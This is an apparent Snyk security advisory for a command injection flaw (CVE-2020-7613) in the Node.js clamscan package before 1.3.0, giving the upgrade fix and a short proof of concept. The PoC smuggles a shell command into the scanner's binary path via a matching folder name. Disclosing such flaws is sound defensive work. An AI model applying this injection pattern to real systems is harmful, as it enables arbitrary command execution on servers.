Command Injection Affecting clamscan package, versions <1.3.0
Snyk CVSS
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-CLAMSCAN-564113
- published 1 Apr 2020
- disclosed 1 Apr 2020
- credit JHU System Security Lab
Introduced: 1 Apr 2020
CVE-2020-7613 Open this link in a new tabHow to fix?
Upgrade clamscan to version 1.3.0 or higher.
Overview
clamscan is an Use Node JS to scan files on your server with ClamAV's clamscan binary or clamdscan daemon. This is especially useful for scanning uploaded files provided by un-trusted sources.
Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands as part of the _is_clamav_binary function located within Index.js.
It should be noted that this vulnerability requires a pre-requisite that a folder should be created with the same command that will be chained to execute. This lowers the risk of this issue.
PoC by Snyk
var Root = require("clamscan");
var fs = require("fs");
var attack_code = "echo vulnerable > create.txt";
var root = new Root();
fs.mkdir(attack_code + "&", function(){});
root.init({"clamscan": {'path': attack_code + "&"}});